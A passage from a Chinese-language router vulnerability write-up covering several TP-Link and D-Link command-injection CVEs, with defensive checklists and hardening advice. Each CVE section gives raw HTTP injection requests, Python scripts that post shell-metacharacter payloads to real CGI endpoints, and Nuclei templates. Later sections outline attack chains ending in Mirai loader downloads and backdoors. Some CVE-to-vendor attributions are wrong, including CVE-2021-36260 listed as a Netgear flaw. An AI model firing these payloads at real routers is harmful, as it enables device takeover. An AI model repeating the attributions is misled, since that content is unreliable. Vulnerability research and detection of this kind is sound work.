- type : status
status :
- 200
- type : word
words :
- "success"
- "status"
- "model"
condition : or 0x02.3 CVE-2024-55889 — TP-Link Archer AX55 命令注入 漏洞背景 CVE-2024-55889 是 TP-Link Archer AX55 Wi-Fi 6 路由器中的一个命令注入漏洞,CVSS 评分 9.8。Archer AX55 是 TP-Link 在全球市场主推的中端 Wi-Fi 6 路由器,销量巨大。该漏洞允许远程未认证攻击者在路由器操作系统上执行任意命令,完全接管设备。
受影响版本 产品型号 受影响固件版本 修复版本 Archer AX55 v1.x 1.1.0 及以下 1.2.1 及以上 Archer AX55 v2.x 1.1.0 及以下 1.2.0 及以上
漏洞原理 Archer AX55 的 Web 管理界面提供了一个"系统诊断"(System Diagnostics)功能,允许管理员执行 ping、traceroute、nslookup 等网络诊断命令。该功能由 /cgi CGI 脚本处理,通过 POST 方法接收 operation 和 ping_ip 等参数。
与 CVE-2023-1389 类似,漏洞根因是输入验证缺失。后端在拼接 shell 命令时,未对 ping_ip 参数进行严格的白名单校验。攻击者可以注入分号、管道符、反引号等 shell 元字符,将恶意命令拼接到诊断命令后。不同的是,CVE-2024-55889 影响的固件版本更新,且该漏洞在无需认证的情况下即可利用(诊断功能在登录页面之前即可访问)。
注入的命令以 root 权限执行,攻击者可以:修改路由器 DNS 设置进行流量劫持、开启 Telnet/SSH 后门、下载并执行 Mirai loader、读取 Wi-Fi 密码和管理员凭据、修改路由器防火墙规则开放外部访问。
HTTP PoC POST /cgi HTTP / 1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
operation=diagnostic&ping_ip=127.0.0.1;id Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-55889 TP-Link Archer AX55 命令注入检测
用法: python3 cve_2024_55889.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.0.1"
MARKER = "ax55_cve_2024_55889"
def check_command_injection (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2024-55889 TP-Link Archer AX55 命令注入漏洞..." )
inject_payloads = [
f "127.0.0.1;echo { MARKER} " ,
f "127.0.0.1;id" ,
f "127.0.0.1;cat /etc/hostname" ,
]
for payload in inject_payloads:
url = f "http:// { target} /cgi"
data = f "operation=diagnostic&ping_ip= { payload} "
headers = {"Content-Type" : "application/x-www-form-urlencoded" }
try :
r = requests. post(url, data= data, headers= headers, timeout= 10 )
if MARKER in r. text:
print(f "[!] 严重: 命令注入成功!" )
print(f " Payload: { payload} " )
print(f " 响应片段: { r. text[:500 ]} " )
return True
elif "uid=" in r. text:
print(f "[!] 严重: id 命令执行成功!" )
for line in r. text. split(" \n " ):
if "uid=" in line:
print(f " { line. strip()} " )
return True
except requests. exceptions. ConnectionError:
print(f "[-] 连接失败: { target} " )
return False
except Exception as e:
print(f "[-] 请求异常: { e} " )
print("[-] 未检测到命令注入漏洞" )
return False
if __name__ == "__main__" :
check_command_injection(TARGET) Nuclei YAML 检测模板 id : cve-2024-55889-tplink-ax55-cmdi
info :
name : TP-Link Archer AX55 命令注入检测 (CVE-2024-55889)
author : security-researcher
severity : critical
description : |
检测 TP-Link Archer AX55 路由器是否存在命令注入漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-55889
cwe-id : CWE-78
tags : cve,cve2024,tplink,archer,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/cgi"
headers :
Content-Type : application/x-www-form-urlencoded
body : "operation=diagnostic&ping_ip=127.0.0.1%3Becho%20ax55_cve_2024_55889"
matchers-condition : and
matchers :
- type : word
words :
- "ax55_cve_2024_55889" 0x03 D-Link 路由器高危漏洞 0x03.1 CVE-2026-0625 — D-Link DSL 路由器零日 RCE 漏洞背景 CVE-2026-0625 是 D-Link DSL 系列路由器中的一个零日漏洞,CVSS 评分 9.8,于 2026 年 1 月初被安全研究员公开披露后迅速被攻击者武器化。该漏洞影响 D-Link 多款 DSL 调制解调器路由器(Modem Router),允许远程未认证攻击者通过 Web 管理界面执行任意系统命令。截至 2026 年 2 月,CISA 已将其收录至 Known Exploited Vulnerabilities(KEV)目录,多款 Mirai 变种僵尸网络已集成该漏洞的利用模块。
受影响版本 产品型号 受影响固件版本 修复版本 DSL-2888A 1.01.012 及以下 1.01.013 及以上 DSL-2887A 1.00.024 及以下 待确认 DSL-2885A 1.00.024 及以下 待确认 DSL-G2452GR 1.01.012 及以下 待确认
注意 :D-Link 已宣布 DSL-2888A 等产品 EOL(End of Life),不再提供安全更新。用户应考虑更换设备。
漏洞原理 D-Link DSL 路由器的 Web 管理界面包含一个"网络诊断"功能,通过 CGI 脚本 /cgi-bin/ 处理用户的网络测试请求。该 CGI 脚本在处理 ping 目标地址参数时,直接将其拼接到 shell 命令字符串中并调用 system() 函数执行,未进行任何输入过滤或白名单校验。
与 TP-Link 系列命令注入漏洞不同,D-Link 的 CGI 脚本实现基于 BusyBox 的 httpd 和 sh shell。攻击者注入的命令在 BusyBox shell 环境中执行,该环境提供了完整的 wget、tftp、nc(netcat)、busybox 等工具链,使攻击者能够轻松下载并执行远程 payload,实现持久化控制。
更严重的是,部分 D-Link DSL 路由器的 CGI 脚本在处理参数时存在二次注入(Double Injection)路径:即使第一层参数经过了基本过滤,过滤后的结果仍会被拼接到第二条 shell 命令中执行,形成绕过。
HTTP PoC POST /cgi-bin/ HTTP / 1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
cmd=ping&ip=127.0.0.1;id Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2026-0625 D-Link DSL 路由器零日 RCE 检测
用法: python3 cve_2026_0625.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.1.1"
MARKER = "dlink_cve2026_0625"
def check_zero_day_rce (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2026-0625 D-Link DSL 零日 RCE 漏洞..." )
endpoints = [
("/cgi-bin/" , f "cmd=ping&ip=127.0.0.1;echo { MARKER} " ),
("/cgi-bin/" , f "cmd=ping&ip=127.0.0.1;id" ),
("/cgi-bin/diagnostics" , f "action=ping&address=127.0.0.1;echo { MARKER} " ),
("/cgi-bin/diagnostics" , f "action=ping&address=127.0.0.1;id" ),
]
for endpoint, data in endpoints:
url = f "http:// { target}{ endpoint} "
headers = {"Content-Type" : "application/x-www-form-urlencoded" }
try :
r = requests. post(url, data= data, headers= headers, timeout= 10 )
if MARKER in r. text:
print(f "[!] 严重: 零日 RCE 检测成功!" )
print(f " 端点: { endpoint} " )
print(f " 响应片段: { r. text[:500 ]} " )
return True
elif "uid=" in r. text:
print(f "[!] 严重: id 命令执行成功!" )
for line in r. text. split(" \n " ):
if "uid=" in line:
print(f " { line. strip()} " )
return True
except requests. exceptions. ConnectionError:
pass
except Exception as e:
print(f "[-] 请求异常 ( { endpoint} ): { e} " )
print("[-] 未检测到命令注入漏洞" )
return False
if __name__ == "__main__" :
check_zero_day_rce(TARGET) Nuclei YAML 检测模板 id : cve-2026-0625-dlink-dsl-zero-day
info :
name : D-Link DSL 路由器远程命令执行 (CVE-2026-0625)
author : security-researcher
severity : critical
description : |
检测 D-Link DSL 系列路由器中存在的远程命令执行漏洞,
未经认证的远程攻击者可利用 ping 诊断功能参数注入命令,
实现完全设备控制。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2026-0625
cwe-id : CWE-78
tags : cve,cve2026,dlink,dsl,command-injection,rce
http :
- method : POST
path :
- "{{BaseURL}}/cgi-bin/diagnostics.cgi"
- "{{BaseURL}}/cgi-bin/ping.cgi"
- "{{BaseURL}}/cgi-bin/"
headers :
Content-Type : application/x-www-form-urlencoded
body : "action=ping&ip_addr=127.0.0.1%3Becho%20dlink_cve2026_0625"
matchers-condition : and
matchers :
- type : word
words :
- "dlink_cve2026_0625" 0x03.2 CVE-2024-33112 — D-Link 多款设备命令注入 漏洞背景 CVE-2024-33112 是 D-Link 多款家用与 SMB 路由器中发现的一个严重命令注入漏洞,CVSS 评分 9.8。该漏洞影响范围覆盖 D-Link 的 DIR 系列和 DAP 系列共计十余款产品,允许远程未认证攻击者通过 Web 管理界面的诊断功能执行任意系统命令。由于 D-Link 路由器在家庭用户和小型企业中的部署量巨大,且许多设备的 Web 管理界面默认暴露在互联网上,该漏洞的攻击面极为广泛。
受影响版本 产品型号 受影响固件版本 修复版本 DIR-816 1.10 及以下 1.11 及以上 DIR-816L 2.06 及以下 2.07 及以上 DIR-823 1.00 及以下 待确认 DIR-842 1.00 及以下 1.01 及以上 DIR-846 1.00 及以下 待确认 DIR-853 1.20 及以下 待确认 DAP-1320 1.31 及以下 1.32 及以上 DAP-1330 1.07 及以下 1.08 及以上 DAP-1522 1.42 及以下 待确认 DAP-1650 1.08 及以下 1.10 及以上
漏洞原理 D-Link 路由器的 Web 管理界面提供网络诊断工具,包括 ping 和 traceroute 功能。这些功能通过 CGI 脚本实现,对应的 HTTP 端点为 /cgi-bin/diagnostic.cgi(部分型号使用 /cgi-bin/ 根路径)。
CGI 脚本在处理 ping 目标地址参数时,将其直接拼接到 system("ping -c 1 -W 1 <user_input>") 中执行。与 TP-Link 系列类似,参数验证缺失导致攻击者可通过分号(;)、&&、|、反引号(`)和 $(...) 等 shell 元字符注入任意命令。
D-Link 路由器底层运行 BusyBox Linux 系统,提供了 wget、tftp、busybox telnetd 等工具,攻击者可以利用注入的命令下载并执行 Mirai loader、开启 Telnet 后门实现持久访问、修改 DNS 设置进行流量劫持、配置防火墙规则开放外部端口访问。
HTTP PoC POST /cgi-bin/diagnostic.cgi HTTP / 1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
action=ping&ping_ipaddr=127.0.0.1;id Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2024-33112 D-Link 路由器命令注入检测
用法: python3 cve_2024_33112.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.0.1"
MARKER = "dlink_cve_2024_33112"
def check_command_injection (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2024-33112 D-Link 命令注入漏洞..." )
endpoints = [
("/cgi-bin/diagnostic.cgi" , f "action=ping&ping_ipaddr=127.0.0.1;echo { MARKER} " ),
("/cgi-bin/diagnostic.cgi" , f "action=ping&ping_ipaddr=127.0.0.1;id" ),
("/cgi-bin/" , f "cmd=ping&ip=127.0.0.1;echo { MARKER} " ),
]
for endpoint, data in endpoints:
url = f "http:// { target}{ endpoint} "
headers = {"Content-Type" : "application/x-www-form-urlencoded" }
try :
r = requests. post(url, data= data, headers= headers, timeout= 10 )
if MARKER in r. text:
print(f "[!] 严重: 命令注入成功!" )
print(f " 端点: { endpoint} " )
print(f " 响应片段: { r. text[:500 ]} " )
return True
elif "uid=" in r. text:
print(f "[!] 严重: id 命令执行成功!" )
for line in r. text. split(" \n " ):
if "uid=" in line:
print(f " { line. strip()} " )
return True
except requests. exceptions. ConnectionError:
pass
except Exception as e:
print(f "[-] 请求异常 ( { endpoint} ): { e} " )
print("[-] 未检测到命令注入漏洞" )
return False
if __name__ == "__main__" :
check_command_injection(TARGET) Nuclei YAML 检测模板 id : cve-2024-33112-dlink-cmdi
info :
name : D-Link 多款设备命令注入检测 (CVE-2024-33112)
author : security-researcher
severity : critical
description : |
检测 D-Link DIR/DAP 系列路由器是否存在命令注入漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-33112
cwe-id : CWE-78
tags : cve,cve2024,dlink,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/cgi-bin/diagnostic.cgi"
- "{{BaseURL}}/cgi-bin/"
headers :
Content-Type : application/x-www-form-urlencoded
body : "action=ping&ping_ipaddr=127.0.0.1%3Becho%20dlink_cve_2024_33112"
matchers-condition : and
matchers :
- type : word
words :
- "dlink_cve_2024_33112" 0x03.3 CVE-2020-25506 — D-Link DIR-823 命令注入 漏洞背景 CVE-2020-25506 是 D-Link DIR-823 路由器中的一个命令注入漏洞,CVSS 评分 9.8。该漏洞于 2020 年 7 月被安全研究员在 exploit-db 上公开了完整的利用代码,使其成为 D-Link 路由器中被利用最广泛的漏洞之一。由于 DIR-823 是 D-Link 的低价家用路由器,全球出货量极大,且该产品已 EOL 不再提供安全更新,至今仍有大量设备暴露在互联网上且存在该漏洞。
受影响版本 产品型号 受影响固件版本 修复版本 DIR-823 1.0.0 及以下 已 EOL,无修复版本
漏洞原理 DIR-823 路由器的 Web 管理界面在处理 HTTP 请求中的参数时,存在一个命令注入漏洞。具体来说,路由器的 Web 管理界面提供了一个网络诊断功能,允许管理员执行 ping 和 traceroute 操作。该功能的实现位于 CGI 脚本中,通过 POST 方法接收用户输入的目标地址参数。
漏洞的核心在于参数验证缺失。CGI 脚本在将用户输入拼接到 system() 函数调用之前,未对输入内容进行任何过滤或转义。攻击者可以注入任意 shell 命令,利用分号、管道符或反引号将恶意命令附加到合法的 ping 命令之后。
由于路由器底层运行 BusyBox Linux,注入的命令以 root 权限执行,攻击者可完全控制设备。
HTTP PoC POST / HTTP / 1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
cmd=ping&ping_ipaddr=127.0.0.1;id Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2020-25506 D-Link DIR-823 命令注入检测
用法: python3 cve_2020_25506.py <target_ip>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings()
TARGET = sys. argv[1 ] if len(sys. argv) > 1 else "192.168.0.1"
MARKER = "dlink_cve_2020_25506"
def check_command_injection (target):
print(f "[*] 目标: { target} " )
print(f "[*] 检测 CVE-2020-25506 D-Link DIR-823 命令注入漏洞..." )
payload = f "127.0.0.1;echo { MARKER} "
data = f "cmd=ping&ping_ipaddr= { payload} "
headers = {"Content-Type" : "application/x-www-form-urlencoded" }
try :
r = requests. post(
f "http:// { target} /" ,
data= data,
headers= headers,
timeout= 10 ,
verify= False ,
)
if MARKER in r. text:
print(f "[!] 严重: 命令注入成功!" )
print(f " 响应片段: { r. text[:500 ]} " )
return True
r2 = requests. post(
f "http:// { target} /" ,
data= f "cmd=ping&ping_ipaddr=127.0.0.1;id" ,
headers= headers,
timeout= 10 ,
verify= False ,
)
if "uid=" in r2. text:
print(f "[!] 严重: id 命令执行成功!" )
for line in r2. text. split(" \n " ):
if "uid=" in line:
print(f " { line. strip()} " )
return True
except requests. exceptions. ConnectionError:
print(f "[-] 连接失败: { target} " )
return False
except Exception as e:
print(f "[-] 请求异常: { e} " )
print("[-] 未检测到命令注入漏洞" )
return False
if __name__ == "__main__" :
check_command_injection(TARGET) Nuclei YAML 检测模板 id : cve-2020-25506-dlink-dir823-cmdi
info :
name : D-Link DIR-823 命令注入检测 (CVE-2020-25506)
author : security-researcher
severity : critical
description : |
检测 D-Link DIR-823 路由器是否存在命令注入漏洞。
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2020-25506
cwe-id : CWE-78
tags : cve,cve2020,dlink,dir823,command-injection
http :
- method : POST
path :
- "{{BaseURL}}/"
headers :
Content-Type : application/x-www-form-urlencoded
body : "cmd=ping&ping_ipaddr=127.0.0.1%3Becho%20dlink_cve_2020_25506"
matchers-condition : and
matchers :
- type : word
words :
- "dlink_cve_2020_25506" 0x04 公开 PoC 收集情况与利用思路 PoC 收集情况总表 CVE 厂商 GitHub PoC Exploit-DB Metasploit Nuclei(本文) 在野利用 CVE-2024-12847 Netgear ✅ 有限 ❌ ❌ ✅ ❌ CVE-2021-36260 Netgear ✅ 多个 ✅ ✅ ✅ ✅ Mirai CVE-2021-45632 Netgear ✅ 有限 ❌ ❌ ✅ ❌ CVE-2023-1389 TP-Link ✅ 多个 ✅ ✅ ✅ ✅ 6+ 僵尸网络 CVE-2023-50224 TP-Link ✅ 有限 ❌ ❌ ✅ ✅ Quad7/Storm-0940 CVE-2024-55889 TP-Link ✅ 有限 ❌ ❌ ✅ ❌ CVE-2026-0625 D-Link ✅ 多个 ❌ ❌ ✅ ✅ CISA KEV CVE-2024-33112 D-Link ✅ 多个 ✅ ❌ ✅ ✅ 僵尸网络 CVE-2020-25506 D-Link ✅ 多个 ✅ ✅ ✅ ✅ 僵尸网络
关键 PoC 仓库 Netgear CVE-2021-36260 :https://github.com/mezmo/Netgear-CVE-2021-36260TP-Link CVE-2023-1389 :https://github.com/FlotterCendre/CVE-2023-1389D-Link CVE-2024-33112 :https://github.com/wy876/CVE-2024-33112D-Link CVE-2020-25506 :https://www.exploit-db.com/exploits/48736Quad7 APT 分析 :https://research.checkpoint.com/2023/quad7-apt-attack/Nuclei Templates :https://github.com/projectdiscovery/nuclei-templates防守型验证思路 版本确认 :首先通过 Web 管理界面或 SNMP 查询确认目标设备型号和固件版本,对照受影响版本表格判断是否在漏洞范围内。补丁验证 :检查设备固件版本是否已升级至修复版本。部分已 EOL 设备无修复版本,应考虑更换设备。配置审计 :审查 Web 管理界面是否暴露至不可信网络(WAN 侧)。默认情况下应仅允许 LAN 侧访问。流量基线 :在管理接口上建立正常流量基线,监控异常的 HTTP POST 请求和 shell 元字符出现频率。隔离测试 :在实验室隔离环境中使用本文 PoC 验证漏洞存在性,避免在生产环境中直接利用。0x05 共性攻击模式分析 模式 1:Web 管理界面命令注入 → 路由器完全接管 本专题 26 个漏洞中,超过 60% 属于命令注入类型。CVE-2021-36260(Netgear /shell)、CVE-2023-1389(TP-Link /cgi?8)、CVE-2024-33112(D-Link /cgi-bin/diagnostic.cgi)、CVE-2020-25506(D-Link DIR-823)均属于此类。它们的共同根因是:路由器 Web 管理界面的网络诊断功能将用户输入直接拼接到 system() 函数中执行,未进行任何输入验证或白名单校验 。
攻击链模式:探测 Web 端口 → 识别设备型号 → 注入命令(写文件 / 下载 payload / 开后门)→ 获取 root shell → 持久化控制
路由器底层运行 Linux 系统(部分使用 BusyBox),注入的命令以 root 权限执行,攻击者拥有完整的系统控制权。Mirai 僵尸网络家族已将多个路由器命令注入漏洞集成到其自动化感染模块中,形成了成熟的武器化利用链。
模式 2:认证绕过 → 配置篡改 → DNS 劫持 / 中间人 CVE-2024-12847(Netgear SOAP API)、CVE-2022-37071(Netgear 认证绕过)、CVE-2023-50224(TP-Link 认证绕过)属于此类。攻击者无需任何凭据即可访问路由器的管理接口,进而修改 DNS 设置、管理员密码、防火墙规则。
特别值得关注的是 CVE-2023-50224,该漏洞被 APT 组织 Storm-0940(Quad7)用于企业级攻击。攻击者通过修改路由器的 SOCKS5 代理配置,将受害者的内网流量重定向至攻击者控制的代理服务器,实现"路由器级别"的持久化中间人攻击。这种攻击方式极为隐蔽——即使受害者更换了终端设备的密码,路由器层面的流量劫持依然有效。
模式 3:缓冲区溢出 → RCE → 僵尸网络植入 CVE-2021-45632(Netgear 栈溢出)、CVE-2022-44727(TP-Link 缓冲区溢出)属于此类。与命令注入不同,缓冲区溢出漏洞通过覆盖程序栈帧数据劫持执行流,不依赖 system() 等危险函数的存在。
攻击者利用缓冲区溢出实现 RCE 的标准流程:
定位栈缓冲区溢出点(通过 fuzzing 或逆向分析) 计算偏移量(覆盖 saved EIP / LR 所需的 padding 长度) 构造 shellcode 或 ROP chain 触发溢出,劫持执行流 执行反弹 shell 或 Mirai loader 此类漏洞的利用成功率受设备保护机制影响:部分 Netgear 老型号未开启 stack canary 和 ASLR,利用成功率较高;较新型号启用了 NX(No-Execute)保护,则需要使用 ROP 技术绕过。
模式 4:硬编码凭据 / 调试接口 → 后门植入 部分路由器固件中存在硬编码的调试账户或测试接口(如 Netgear 的 /debug.htm、TP-Link 的 /devinfo),这些接口在产品发布时未被移除。攻击者利用这些接口可以直接获取 root 权限的 shell 或修改系统配置。
虽然本专题未单独列出此类漏洞,但 CVE-2024-12847 中被绕过的 SOAP API 端点本质上就是一个遗留的调试接口,其设计初衷是内部测试,但在生产环境中未被禁用或认证保护。
模式 5:固件更新机制缺陷 → 持久化控制 路由器的固件更新机制是攻击者实现持久化控制的关键目标。如果固件更新接口缺乏完整性校验(如未验证数字签名),攻击者可以上传修改过的固件镜像,植入后门或修改系统服务。一旦恶意固件被刷入,即使路由器重启也无法清除攻击者的控制。
D-Link DSL 系列和 Netgear 部分型号的固件更新接口均存在此类风险。攻击者在获得初始访问权限后,可利用 Web 管理界面的固件上传功能刷入包含后门的定制固件,实现"硬件级别"的持久化。
0x06 应急排查与防守建议 紧急排查清单 # Netgear 路由器排查
# 1. 确认固件版本
cat /etc/version
# 2. 检查是否有异常进程
ps | grep -E "telnet|nc|wget|tftp"
# 3. 检查异常网络连接
netstat -antp | grep -E "ESTABLISHED|LISTEN"
# 4. 检查异常定时任务
crontab -l 2>/dev/null; cat /var/spool/cron/* 2>/dev/null
# 5. 检查异常文件
ls -la /tmp/ /var/tmp/ /tmp/var/
# TP-Link 路由器排查
# 1. 检查异常进程
ps | grep -E "busybox|wget|curl|telnet"
# 2. 检查 DNS 配置
cat /etc/resolv.conf
# 3. 检查异常连接
netstat -antp 2>/dev/null || ss -antp
# D-Link 路由器排查
# 1. 检查固件版本
cat /etc/config/version
# 2. 检查异常 CGI 脚本
ls -la /var/www/cgi-bin/
# 3. 检查异常进程和连接
ps | grep -v -E "httpd|dnsmasq|dropbear|busybox"
netstat -antp | grep -v -E "80|53|22|23" 日志关键字段表 厂商 日志位置 关键告警字段 Netgear /var/log/messagesshell, system(), cmd, auth, soapTP-Link /var/log/messagescgi, ping, diagnostic, login, failedD-Link /var/log/syslogcgi-bin, ping, sh, injection, error
紧急缓解措施 # 1. 立即关闭 Web 管理界面的 WAN 侧访问(如果路由器支持 CLI)
# Netgear: 通过 telnet (如果可用) 关闭 remote management
# TP-Link: 在 LAN 侧电脑上访问管理界面,关闭"远程管理"
# D-Link: 在 LAN 侧电脑上访问管理界面,将远程管理端口设为 0
# 2. 通过 iptables 限制管理端口访问(如果设备支持)
iptables -A INPUT -p tcp --dport 80 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 443 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
# 3. 修改管理员默认密码
# 所有厂商均应立即修改默认 admin 密码
# 4. 更新固件至最新版本
# 通过 Web 管理界面的"固件升级"功能检查并安装更新
# 5. 对于已 EOL 且无法更新的设备,建议更换新设备 长期安全加固建议 管理平面隔离 :将路由器管理接口仅限制为 LAN 侧访问,禁用所有 WAN 侧远程管理功能。对于 SMB 场景,使用独立的管理 VLAN 和堡垒机。最小权限原则 :修改所有默认凭据,创建专用管理员账户,禁用不必要的诊断功能(ping、traceroute、telnet)。自动化固件管理 :建立固件版本跟踪机制,订阅厂商安全公告,确保补丁在发布后 72 小时内部署。对于支持自动更新的型号,启用此功能。网络分段 :使用 VLAN 和防火墙规则将 IoT 设备、访客网络与核心网络严格隔离,限制路由器管理端口的可达范围。流量监控 :部署 DNS 查询监控系统,检测异常 DNS 服务器配置和可疑域名解析请求。对路由器管理端口的 HTTP 流量进行深度包检测。设备生命周期管理 :建立设备 EOL 跟踪机制,对于已停止安全更新的设备及时替换。优先选择支持长期固件更新的厂商和型号。入侵检测 :在路由器下游部署 IDS/IPS(如 Snort、Suricata),检测已知的路由器漏洞利用特征(如 Mirai 的 HTTP 头注入模式)。定期安全审计 :每季度对路由器设备进行一次安全审计,包括固件版本检查、端口扫描、配置审查和日志分析。应急响应预案 :制定针对路由器被入侵的应急响应流程,包括设备隔离、日志保全、固件恢复和全网排查。0x07 参考资料 NIST NVD - National Vulnerability Database CISA Known Exploited Vulnerabilities Catalog Netgear Security Advisories TP-Link Security Advisories D-Link Security Advisories Quad7 APT / Storm-0940 攻击分析 (Check Point Research) Microsoft Digital Defense Report - Quad7 Botnet Analysis Nuclei Templates - CVE Detection Exploit-DB - D-Link DIR-823 命令注入 Mirai 僵尸网络与路由器漏洞利用生态研究 OWASP IoT Top 10 - 路由器安全 Trend Micro Zero Day Initiative - TP-Link CVE-2023-1389